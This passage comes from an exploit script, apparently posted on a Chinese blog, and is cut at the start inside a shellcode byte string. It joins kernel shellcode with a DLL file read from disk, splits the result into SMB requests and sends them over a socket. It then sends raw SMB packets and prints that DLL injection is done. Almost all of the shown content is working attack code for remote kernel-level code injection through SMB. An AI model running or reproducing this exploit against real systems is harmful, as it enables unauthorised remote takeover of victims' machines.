x29\xD9\x89\xDF\xF3\xAA\x8D\x4D\xF7\x8D\x9D\x9C\xF2\xFF\xFF\x29\xD9\x89\xDF\xF3\xAA\x61\xC3\xE8\xA9\xF2\xFF\xFF\xEB\x09\x90\x00\x14\x00\x00\x01\x00\x00\x00"
f = open(dllfile,"rb")
dll_hex = f.read()
f.close()
dll_hex += "\x00"*3
array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)
for i in range(ncount):
#print binascii.b2a_hex(array[i])
print i+4,",len:",len(array[i])
s.sendall(array[i])
data = s.recv(1024)
print i+4,"--->",data
#end1
step_7_data ="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00"
s.sendall(step_7_data)
data = s.recv(1024)
print 7,data
#end2
step_8_data ="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00"
s.sendall(step_8_data)
data = s.recv(1024)
print 8,data
print "------Inject dll done!------"
s.close()

发表评论

电子邮件地址不会被公开。 必填项已用*标注